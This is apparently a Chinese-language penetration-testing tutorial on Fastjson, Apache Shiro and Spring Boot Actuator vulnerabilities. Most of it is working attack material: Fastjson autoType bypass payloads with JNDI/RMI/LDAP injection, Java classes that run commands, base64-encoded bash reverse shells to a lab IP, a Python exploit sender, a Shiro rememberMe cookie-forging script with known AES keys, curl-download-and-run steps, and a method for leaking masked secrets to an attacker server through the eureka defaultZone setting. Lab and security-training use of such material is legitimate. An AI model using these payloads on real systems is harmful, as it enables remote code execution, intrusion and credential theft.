Java相关框架漏洞

文章目录

Fastjson

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串,是一个 Java 库,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。

可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

https://www.runoob.com/w3cnote/fastjson-intro.html

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

FastJson < 1.2.41

第一个 Fastjson 反序列化漏洞爆出后,阿里在 1.2.25 版本设置了 autoTypeSupport属性默认为 false ,并且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson 反序列化漏洞,因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

com.sun.rowset.jdbcRowSetlmpl 在 1.2.25 版本被加入了黑名单, Fastjson 有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来

那么就可以构造如下 EXP

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:9999/rce_1_2_24_exploi", "autoCommit":true}

Java安全之FastJson JdbcRowSetImpl 链分析

FastJson < 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为 L 开头 ; 结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组 L 和 ; ,构造exp如下,即双写 L 和 ;

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp","autoCommit":true}

FastJson < 1.2.47

在1.2.47版本及以下的情况下, loadClass 中默认 cache 为 true ,首先使用java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单

{ 
    "a": { 
        "@type": "java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl" },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://ip:9999/exp",
        "autoCommit": true
    }
}

FastJson < 1.2.66

基于黑名单绕过, autoTypeSupport 属性为 true 才能使用,在 1.2.25 版本之后 autoTypeSupport 默认为 false

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJdiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

漏洞发现

Json认识

https://www.runoob.com/json/json-tutorial.html

{
	"name": "smith",
	"age": 28,
	"sex": "男",
	"school": {
		"sname": "南京大学",
		"address": "南京市鼓楼区汉口路22号"
	}
}
{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}

FastJson寻找

Fastjson 的作用是用于对JSON格式的数据进行解析和打包,所以出现 Json 格式的地方,就有可能使用了 Fastjson

FastJson报错识别

在这里插入图片描述

FastJson漏洞发现

原理: java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在

http://dnslog.cn(校园网可能无法使用)

https://www.callback.red(这个还可以)

https://github.com/AlphabugX/Alphalog

https://github.com/BugScanTeam/DNSLog

https://github.com/lanyi1998/DNSlog-GO

https://github.com/lijiejie/eyes.sh

{
	"name":{
		"@type":"java.net.InetAddress",
		"val":"sillage.8cl8.callback.red"
	}
}

在这里插入图片描述
在这里插入图片描述

针对黑名单绕过

{
	"name":{
		"@type":"LLjava.net.InetAddress;;",
		"val":"sillage.8cl8.callback.red"
	}
}

漏洞利用

FastJson1.2.47反序列化漏洞

漏洞概述

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

影响版本

Fastjson < 1.2.48

漏洞环境

vim docker-compose.yml

version: '2'
services:
	web:
		image: vulhub/fastjson:1.2.45
		ports:
			- "8090:8090"

docker-compose up -d

漏洞检测

原理: java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在

{
	"name":{
		"@type":"java.net.InetAddress",
		"val":"dns域名"
	}
}
JNDI注入 + RMI
JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)
RMI

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。

它使客户机上运行的程序可以调用远程服务器上的对象。

方法一

注意:此方法前五步都是验证该漏洞是否存在,后四步是漏洞具体应用

在这里插入图片描述

https://github.com/mbechler/marshalsec

  1. 借助 marshalsec 项目启动一个 RMI 服务器,监听一个端口,并指定加载远程类 Exploit.class 。

先进入marshalsec 文件夹下,maven 打包项目成 jar 包:

mvn clean package -DskipTests

在这里插入图片描述

如图表示成功

  1. 编写并编译恶意代码

注意:

  • Java保存的文件名必须与类名一致;
  • 如果文件中只有一个类,文件名必须与类名一致;
  • 一个Java文件中只能有一个public类;
  • 如果文件中不止一个类,文件名必须与public类名一致;
  • 如果文件中不止一个类,而且没有public类,文件名可与任一类名一致。

Touch.java

// javac Touch.java
import java.lang.Runtime;
import java.lang.Process;

public class Touch {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在 jdk8 下编译:

javac Touch.java

在当前目录会生成一个 Touch.class 的字节码文件

  1. python 启动http服务,托管编译的恶意类文件:
python -m http.server
  1. 启动RMI服务(一定要在 marshalsec/target 文件夹下进行操作),加载指定恶意类:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.164.133:8000/#Touch" 9999
  1. 发送Payload
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.164.133:9999/Touch",
        "autoCommit":true
    }
}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 编写并编译恶意代码

Exploit.java

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
	static {
		try {
			Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNDQzMyAwPiYx}|{base64,-d}|{bash,-i}");
            //bash -i >& /dev/tcp/192.168.164.133/4433 0>&1
		}catch(Exception e){
			e.printStackTrace();
		}
	}
}

在 jdk8 下编译:

javac Exploit.java

在当前目录会生成一个 Exploit.class 的字节码文件

  1. 启动RMI服务,加载指定恶意类:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.164.133:8000/#Exploit" 9999
  1. 开启监听
nc -lvnp 4433
  1. 发送Payload
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.164.133:9999/Exploit",
        "autoCommit":true
    }
}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

补充:编写 python 脚本发送请求包:

import sys
import requests

if len(sys.argv)!=3:
	print('+------------------------------------------------------------------------------------+')
	print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +')
	print('+     RMIServer: rmi://ip:port/exp                                                   +')
	print('+     LDAPServer: ldap://ip:port/exp                                                 +')
	print('+------------------------------------------------------------------------------------+')
	print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +')
	print('+ EXP: python3 fastjson-1.2.47_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')
	print('+ VER: fastjson<=1.2.47                                                              +')
	print('+------------------------------------------------------------------------------------+')
	sys.exit()

url = sys.argv[1]
server = sys.argv[2]
headers = {
	'Content-Type': "application/json",
	'Accept-Encoding': "gzip, deflate",
	'Connection': "close",
	'Accept': "*/*",
	'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
}

payload = """
{
	"a": {
		"@type": "java.lang.Class", 
		"val": "com.sun.rowset.JdbcRowSetImpl"
	}, 
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl", 
		"dataSourceName": "%s", 
		"autoCommit": true
	}
}
	""" %server

try:
	r = requests.post(url, payload, headers=headers, 
timeout=10)
	print ("[+] RMI/LDAP Send Success ")
except:
	print ("[-] RMI/LDAP Send Failed ")
方法二

下面都是理论步骤,笔者并未成功,但是后面的LDAP用的也是同样的工具是可以使用的,可以自己尝试一下

下载利用工具

git clone https://github.com/yearnming/fastjson_rce_tool

cd fastjson_rce_tool

利用工具启动 RMI server

java -cp fastjson_tool.jar fastjson.HRMIServer 8.130.76.211 9999"要执行的命令"
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.164.133 9999 "touch /tmp/sillage"

复制生成的payload:

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.164.133:9999/Object","autoCommit":true}}

发送到目标主机

如果是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在 bash环境下才能用。而在这里,我们使用的是 java 为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要 base64 编码一下。

bash -i >& /dev/tcp/192.168.164.133/4433 0>&1

bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNDQzMyAwPiYx}|{base64,-d}|{bash,-i}

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.164.133 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNDQzMyAwPiYx}|{base64,-d}|{bash,-i}"
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.164.133:9999/Object","autoCommit":true}}
JNDI注入 + LDAP

LDAP 是基于 X.500 标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.164.133 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNDQzMyAwPiYx}|{base64,-d}|{bash,-i}"
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.164.133:9999/Object","autoCommit":true}}

在这里插入图片描述

在这里插入图片描述

Shiro

Shiro简介

Apache Shiro 是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理,可用于保护任何应用程序的安全。

Shiro提供了应用程序安全性API来执行以下方面:

1)身份验证:证明用户身份,通常称为用户"登录";
2)授权:访问控制;
3)密码术:保护或隐藏数据以防窥视;
4)会话管理:每个用户的时间敏感状态。

上述四个方面也被称为应用程序安全性的四个基石。

漏洞发现

Shiro组件识别

在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe ,说明使用了 Shiro 组件

在这里插入图片描述

Shiro漏洞搜索

通过 fofa、zoomeye、shodan 这类平台搜索相关特征来发现目标。

例如 fofa 的搜索关键词:

header="rememberme=deleteMe"
header="shiroCookie"

Shiro漏洞检测工具

https://github.com/fupinglee/ShiroScan

https://github.com/sv3nbeast/ShiroScan

https://github.com/insightglacier/Shiro_exploit

https://github.com/Ares-X/shiro-exploit

Shiro历史漏洞利用

Shiro-550(CVE-2016-4437)

Shiro rememberMe 反序列化远程代码执行漏洞

漏洞原因

Apache Shiro 框架提供了记住密码的功能( RememberMe ),关闭浏览器再次访问时无需再登录即可访问。用户登录成功后用户信息会经过加密编码后存储在 cookie 中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。

shiro 默认使用了 CookieRememberMeManager ,其处理cookie的流程是:

获取 rememberMe 的 cookie 值 –> Base64 解码 –> AES 解密 –> 反序列化 。

但是AES加密的密钥 Key 被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64 编码后,作为 cookie 的 rememberMe 字段发送。 Shiro 将 rememberMe 进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。

在这里插入图片描述

只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都可能会导致该漏洞的产生。硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

常见key:

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

Payload 产生的过程:

命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie 值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

利用位置

任意 http请求中 cookie 处 rememberMe 参数

在这里插入图片描述

特征判断

返回包中包含 rememberMe=deleteMe 字段,认证失败时会设置 deleteMe 的 cookie

Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0;
影响版本

Apache Shiro <= 1.2.4(需要获取AES秘钥)

利用组件

org.apache.commons 中的 commons-collections4 (理论上 commons-collections2 也有)

Payload构造

命令 => 序列化 => AES 加密 => base64 编码 => RememberMe Cookie 值

编译 ysoserial 的 jar 文件

git clone https://github.com/frohoff/ysoserial.git 
cd ysoserial
mvn package -DskipTests

编译好的 ysoserial.jar 下载:

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

ysoserial.jar 文件和脚本处于同一目录

# shiro-exp.py
# coding:utf-8

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print "rememberMe={0}".format(payload.decode())

使用方法

环境搭建

docker 搭建环境

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 7777:8080 medicean/vulapps:s_shiro_1

在这里插入图片描述

利用步骤

Shiro_exploit 获取key --> 监听反弹 shell --> ysoserial 执行反弹 shell 命令 --> shiro-exp.py 生成 cookie --> Burpsuite 发包

检测是否存在默认的 key 及漏洞

这里我们使用 Shiro_exploit ,获取key

Github项目地址:https://github.com/insightglacier/Shiro_exploit

git clone https://github.com/insightglacier/Shiro_exploit.git
cd Shiro_exploit
pip2 install requests
pip2 uninstall crypto pycryptodome
pip2 install pycryptodome

运行时出现 No module named Crypto

安装 pycrypto 模块

apt install python-dev
pip install pycrypto
pip install pycryptodome

进入 python安装目录下的\Lib\site-packages ,将 crypto 文件夹的名字改成Crypto 。

脚本通过网络收集到的22个key,利用 ysoserial 工具中的 URLDNS 这个 Gadget ,并结合 dnslog 平台实现漏洞检测。漏洞利用则可以选择 Gadget 和参数,增强灵活性。

python2 shiro_exploit.py -u http://192.168.164.133:7777/login

在这里插入图片描述

得到AES密钥:

CipherKey:kPH+bIxk5D2deZiIxcaaaA==

监听反弹 shell

nc -lvvp 4567

利用反序列化工具生成 payload

方法一:
vim b.sh

bash -i >& /dev/tcp/192.168.164.133/4567 0>&1
python3 -m http.server
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "curl http://192.168.164.133:8000/b.sh -o /tmp/b.sh"

执行 shiro-exp.py 脚本构造生成 cookie :

python2 shiro-exp.py vps_ip:10998

在这里插入图片描述

burpsuite 抓取 shiro 任意用户登录之后的任意请求,把构造的 cookie 值替换掉请求中的 cookie 值,发包成功后即成功执行下载 b.sh 脚本的命令,这里下载目录为 /tmp :

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

增加权限:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "chmod +x /tmp/b.sh"

生成 cookie :

python2 shiro-exp.py vps_ip:10998

发送payload:

在这里插入图片描述

构造执行b.sh脚本的cookie:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash /tmp/b.sh"

生成 cookie :

python2 shiro-exp.py vps_ip:10998

然后把 cookie 值代入请求中发送,即可反弹 shell :

在这里插入图片描述

方法二:

bash -i >& /dev/tcp/192.168.164.133/4567 0>&1

编码后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNDU2NyAwPiYx}|{base64,-d}|{bash,-i}

通过 ysoserial 中 JRMP 监听模块,监听 10998 端口并执行反弹 shell 命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2NC4xMzMvNDU2NyAwPiYx}|{base64,-d}|{bash,-i}"

执行 shiro-exp.py 脚本构造生成 cookie :

python2 shiro-exp.py 192.168.164.133:10998

Burpsuite 抓取 shiro 任意用户登录之后的任意请求,把构造的 cookie 值替换掉请求中的 cookie 值,发包成功后即成功执行反弹shell命令,并成功得到反弹的shell:

在这里插入图片描述

在这里插入图片描述

Shiro-721

漏洞原因
影响版本
特征判断
漏洞环境
漏洞利用

Refer

SpringBoot

SpringBoot简介

Spring介绍

Spring 是 java web 里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化

Actuators介绍

Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

常见端点信息

Spring Boot 1.x 版本默认内置路由的根路径以 / 开始, 2.x 则统一以 /actuator 开始

https://docs.spring.io/spring-boot/docs/2.1.1.RELEASE/reference/html/productionready-endpoints.html

路径描述
/autoconfig提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans描述应用程序上下文里全部的Bean,以及它们的关系
/env获取全部环境属性
/configprops描述配置属性(包含默认值)如何注入Bean
/dump获取线程活动的快照
health报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
info获取应用程序的定制信息,这些信息由info打头的属性提供
mappings描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
metrics报告各种应用程序度量信息,比如内存用量和HTTP请求计数
shutdown关闭应用程序,要求endpoints.shutdown.enabled设置为true
trace提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

SpringBoot漏洞发现

框架特征

  • 小绿叶、404报错

漏洞识别

https://github.com/rabbitmask/SB-Actuator

https://github.com/AabyssZG/SpringBoot-Scan

SpringBoot环境搭建

安装Java

apt update
apt search jdk | grep openjdk-8
apt install openjdk-8-jdk openjdk-8-headless

安装maven

方法一:源码安装
wget http://mirrors.hust.edu.cn/apache/maven/maven-
3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
tar zxvf apache-maven-3.5.4-bin.tar.gz
mv apache-maven-3.5.4 maven
vi /etc/profile
export M2_HOME=/usr/local/maven
export PATH=$M2_HOME/bin:$PATH
source /etc/profile
方法二:apt安装
apt install maven

安装SpringBoot 1.x

  1. 下载项目源码
git clone https://github.com/veracode-research/actuator-testbed.git
cd actuator-testbed
  1. 修改配置文件

修改 src/main/resources/application.properties 中 127.0.0.1 为 0.0.0.0

server.port=9093
#server.address=127.0.0.1
server.address=0.0.0.0
  1. 添加 MySQL 连接配置

vim src/main/resources/application.properties

spring.datasource.name=druidDataSource
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-8&allowMultiQueries=true&autoReconnect=true
spring.datasource.username=panda
spring.datasource.password=123456
  1. 运行 SpringBoot
mvn install
mvn spring-boot:run
  1. 配置Maven国内镜像源
  • 全局配置

修改 Maven 默认的全局配置文件:

Linux 系统:一般在 /usr/share/maven/conf/settings.xml

Windows 系统:一般在 Maven 安装目录的 conf/settings.xml

使用阿里的云仓库,在 maven 的 settings.xml 文件的 Mirrors 中添加如下内容:

<mirrors>
    <!-- 阿里云仓库 -->
    <mirror>
        <id>alimaven</id>
        <mirrorOf>central</mirrorOf>
        <name>aliyun maven</name>
        <url>https://maven.aliyun.com/nexus/content/repositories/central/</url>
    </mirror>
    <!-- 中央仓库1 -->
    <mirror>
        <id>repo1</id>
        <mirrorOf>central</mirrorOf>
        <name>Human Readable Name for this Mirror.</name>
        <url>http://repo1.maven.org/maven2/</url>
    </mirror>
    <!-- 中央仓库2 -->
    <mirror>
        <id>repo2</id>
        <mirrorOf>central</mirrorOf>
        <name>Human Readable Name for this Mirror.</name>
        <url>http://repo2.maven.org/maven2/</url>
    </mirror>
</mirrors>
  • 单项目配置

修改项目当前目录下的 pom.xml ,添加以下内容:

<repositories>
    <repository>
        <id>aliyunmaven</id>
        <url>https://maven.aliyun.com/repository/public</url>
    </repository>
</repositories>

安装SpringBoot 2.x

  1. 下载项目源码
git clone https://github.com/callicoder/spring-boot-actuator-demo.git
cd spring-boot-actuator-demo
  1. maven 构建并运行引用程序
mvn package
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
  1. 或者可以直接运行应用程序而无需打包
mvn spring-boot:run
  1. 访问所有执行器端点

http://localhost:8080/actuator

注意:

一些执行器端点受到 Spring Security 的 HTTP 基本身份验证的保护。您可以使用用户名 actuator 和密码 actuator 进行 HTTP 基本身份验证。

路由知识

  • 有些程序员会自定义 /manage 、 /management 、项目 App 相关名称为 spring 根路径
  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
  • Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

信息泄露

0x01:路由地址及接口调用详情泄漏

开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等

直接访问以下两个 swagger 相关路由,验证漏洞是否存在:

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以"默认安全" 来讲,不暴露出这些信息更加安全。

对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

0x02:配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置

可能因为配置不当而暴露的默认内置路由参考:

https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt

其中对寻找漏洞比较重要的接口有:

  • /env 、 /actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword 、 pwd 时,会泄露密码明文;

同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;

同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

  • /refresh 、 /actuator/refresh

POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

  • /restart 、 /actuator/restart

暴露出此接口的情况较少;可以配合 POST 请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

  • /jolokia 、 /actuator/jolokia

可以通过 /jolokia/list 接口寻找可以利用的 MBean ,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

  • /trace 、 /actuator/httptrace

一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

快速 fuzz 常见端点接口:

https://wfuzz.readthedocs.io/en/latest/

安装wfuzz:

pip install wfuzz
docker pull ghcr.io/xmendez/wfuzz
wfuzz -w spring-endpoint.txt --sc 200 -f out.html,html http://192.168.164.133:8090/FUZZ

spring-endpoint.txt :收集的spring端点接口路径的字典
--sc 200 : 只显示响应状态码为200的请求信息
out.html,html : 输出文件,输出格式

0x03:获取被星号脱敏的密码的明文

访问 /env 接口时, spring actuator 会将一些带有敏感关键词(如 password 、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件
  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)
利用方法
步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

“spring.datasource.password”: “******”,

在这里插入图片描述

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvnp 80
步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;

your-vps-ip 换成自己外网服务器的真实 ip 地址。

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${spring.datasource.password}@192.168.164.133

在这里插入图片描述

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
步骤四: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

在这里插入图片描述

spring 2.x

POST /actuator/refresh
Content-Type: application/json
步骤五: 解码属性值

正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:

 Authorization: Basic dmFsdWU6MTIzNDU2

在这里插入图片描述

将其中的 dmFsdWU6MTIzNDU2 部分使用 base64 解码,即可获得类似明文值 value:123456 ,其中的 123456 即是目标星号 * 脱敏前的属性值明文。

远程代码执行

0x01:whitelabel error page SpEL RCE

漏洞环境

repository/springboot-spel-rce

git clone https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

修改 SpringBootVulExploit/repository/springboot-spelrce/src/main/resources/application.properties:

vi springboot-spel-rce\src\main\resources\application.properties

server.port=9091
#server.address=127.0.0.1
server.address=0.0.0.0

编译运行:

mvn spring-boot:run

正常访问:

